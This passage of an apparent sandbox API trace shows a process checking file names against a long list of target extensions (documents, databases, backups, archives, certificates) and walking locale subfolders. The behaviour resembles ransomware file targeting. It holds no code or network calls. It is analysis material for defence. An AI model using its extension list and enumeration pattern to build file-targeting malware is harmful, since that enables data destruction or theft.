	[0172.027] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0172.027] lstrlenW (lpString=".3g2") returned 4
	[0172.027] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0172.027] lstrlenW (lpString=".3gp") returned 4
	[0172.027] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0172.027] lstrlenW (lpString=".7z") returned 3
	[0172.027] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0172.027] lstrlenW (lpString=".accda") returned 6
	[0172.027] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0172.027] lstrlenW (lpString=".accdb") returned 6
	[0172.027] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0172.027] lstrlenW (lpString=".accdc") returned 6
	[0172.028] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0172.028] lstrlenW (lpString=".accde") returned 6
	[0172.028] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0172.028] lstrlenW (lpString=".accdt") returned 6
	[0172.028] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0172.028] lstrlenW (lpString=".accdw") returned 6
	[0172.028] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0172.028] lstrlenW (lpString=".adb") returned 4
	[0172.028] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0172.028] lstrlenW (lpString=".adp") returned 4
	[0172.028] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0172.028] lstrlenW (lpString=".ai") returned 3
	[0172.028] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0172.028] lstrlenW (lpString=".ai3") returned 4
	[0172.028] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0172.028] lstrlenW (lpString=".ai4") returned 4
	[0172.028] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0172.028] lstrlenW (lpString=".ai5") returned 4
	[0172.028] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0172.028] lstrlenW (lpString=".ai6") returned 4
	[0172.028] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0172.028] lstrlenW (lpString=".ai7") returned 4
	[0172.028] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0172.028] lstrlenW (lpString=".ai8") returned 4
	[0172.028] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0172.028] lstrlenW (lpString=".anim") returned 5
	[0172.028] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0172.028] lstrlenW (lpString=".arw") returned 4
	[0172.028] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0172.028] lstrlenW (lpString=".as") returned 3
	[0172.028] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0172.028] lstrlenW (lpString=".asa") returned 4
	[0172.028] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0172.029] lstrlenW (lpString=".asc") returned 4
	[0172.029] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0172.029] lstrlenW (lpString=".ascx") returned 5
	[0172.029] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0172.029] lstrlenW (lpString=".asm") returned 4
	[0172.029] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0172.029] lstrlenW (lpString=".asmx") returned 5
	[0172.029] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0172.029] lstrlenW (lpString=".asp") returned 4
	[0172.029] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0172.029] lstrlenW (lpString=".aspx") returned 5
	[0172.029] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0172.029] lstrlenW (lpString=".asr") returned 4
	[0172.029] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0172.029] lstrlenW (lpString=".asx") returned 4
	[0172.029] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0172.029] lstrlenW (lpString=".avi") returned 4
	[0172.029] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0172.029] lstrlenW (lpString=".avs") returned 4
	[0172.029] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0172.029] lstrlenW (lpString=".backup") returned 7
	[0172.029] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0172.029] lstrlenW (lpString=".bak") returned 4
	[0172.029] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0172.029] lstrlenW (lpString=".bay") returned 4
	[0172.029] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0172.029] lstrlenW (lpString=".bd") returned 3
	[0172.029] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0172.029] lstrlenW (lpString=".bin") returned 4
	[0172.029] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0172.029] lstrlenW (lpString=".bmp") returned 4
	[0172.029] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0172.030] lstrlenW (lpString=".bz2") returned 4
	[0172.030] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0172.030] lstrlenW (lpString=".c") returned 2
	[0172.030] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0172.030] lstrlenW (lpString=".cdr") returned 4
	[0172.030] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0172.030] lstrlenW (lpString=".cer") returned 4
	[0172.030] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0172.030] lstrlenW (lpString=".cf") returned 3
	[0172.030] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0172.030] lstrlenW (lpString=".cfc") returned 4
	[0172.030] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0172.030] lstrlenW (lpString=".cfm") returned 4
	[0172.030] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0172.030] lstrlenW (lpString=".cfml") returned 5
	[0172.030] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0172.030] lstrlenW (lpString=".cfu") returned 4
	[0172.030] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0172.030] lstrlenW (lpString=".chm") returned 4
	[0172.030] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0172.030] lstrlenW (lpString=".cin") returned 4
	[0172.030] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0172.030] lstrlenW (lpString=".class") returned 6
	[0172.030] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0172.030] lstrlenW (lpString=".clx") returned 4
	[0172.030] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0172.030] lstrlenW (lpString=".config") returned 7
	[0172.030] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0172.030] lstrlenW (lpString=".cpp") returned 4
	[0172.030] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0172.030] lstrlenW (lpString=".cr2") returned 4
	[0172.030] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".crt") returned 4
	[0172.031] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".crw") returned 4
	[0172.031] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".cs") returned 3
	[0172.031] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0172.031] lstrlenW (lpString=".css") returned 4
	[0172.031] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".csv") returned 4
	[0172.031] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".cub") returned 4
	[0172.031] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".dae") returned 4
	[0172.031] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".dat") returned 4
	[0172.031] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".db") returned 3
	[0172.031] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0172.031] lstrlenW (lpString=".dbf") returned 4
	[0172.031] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".dbx") returned 4
	[0172.031] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".dc3") returned 4
	[0172.031] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".dcm") returned 4
	[0172.031] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".dcr") returned 4
	[0172.031] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".der") returned 4
	[0172.031] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0172.031] lstrlenW (lpString=".dib") returned 4
	[0172.031] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0172.032] lstrlenW (lpString=".dic") returned 4
	[0172.032] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0172.032] lstrlenW (lpString=".dif") returned 4
	[0172.032] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0172.032] lstrlenW (lpString=".divx") returned 5
	[0172.032] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0172.032] lstrlenW (lpString=".djvu") returned 5
	[0172.032] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0172.032] lstrlenW (lpString=".dng") returned 4
	[0172.032] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0172.032] lstrlenW (lpString=".doc") returned 4
	[0172.032] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0172.032] lstrlenW (lpString=".docm") returned 5
	[0172.032] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0172.032] lstrlenW (lpString=".docx") returned 5
	[0172.032] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0172.032] lstrlenW (lpString=".dot") returned 4
	[0172.032] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0172.032] lstrlenW (lpString=".dotm") returned 5
	[0172.032] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0172.032] lstrlenW (lpString=".dotx") returned 5
	[0172.032] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0172.032] lstrlenW (lpString=".dpx") returned 4
	[0172.032] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0172.032] lstrlenW (lpString=".dqy") returned 4
	[0172.032] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0172.032] lstrlenW (lpString=".dsn") returned 4
	[0172.032] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0172.032] lstrlenW (lpString=".dt") returned 3
	[0172.032] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0172.032] lstrlenW (lpString=".dtd") returned 4
	[0172.032] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0172.032] lstrlenW (lpString=".dwg") returned 4
	[0172.033] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0172.033] lstrlenW (lpString=".dwt") returned 4
	[0172.033] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0172.033] lstrlenW (lpString=".dx") returned 3
	[0172.033] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0172.033] lstrlenW (lpString=".dxf") returned 4
	[0172.033] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0172.033] lstrlenW (lpString=".edml") returned 5
	[0172.033] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0172.033] lstrlenW (lpString=".efd") returned 4
	[0172.033] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0172.033] lstrlenW (lpString=".elf") returned 4
	[0172.033] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0172.033] lstrlenW (lpString=".emf") returned 4
	[0172.033] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0172.033] lstrlenW (lpString=".emz") returned 4
	[0172.033] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0172.033] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.033] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0172.034] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.034] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0172.035] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.035] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0172.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.036] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0172.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.036] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0172.037] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.037] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0172.037] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.037] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0172.038] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.038] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0172.038] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.038] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0172.039] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.039] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0172.040] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.040] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0172.042] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.042] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0172.042] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.042] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0172.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.045] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0172.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.045] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0172.046] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.046] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0172.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.047] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0172.048] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.048] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0172.048] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.048] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0172.048] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.048] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0172.049] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.049] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0172.049] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.049] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0172.050] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
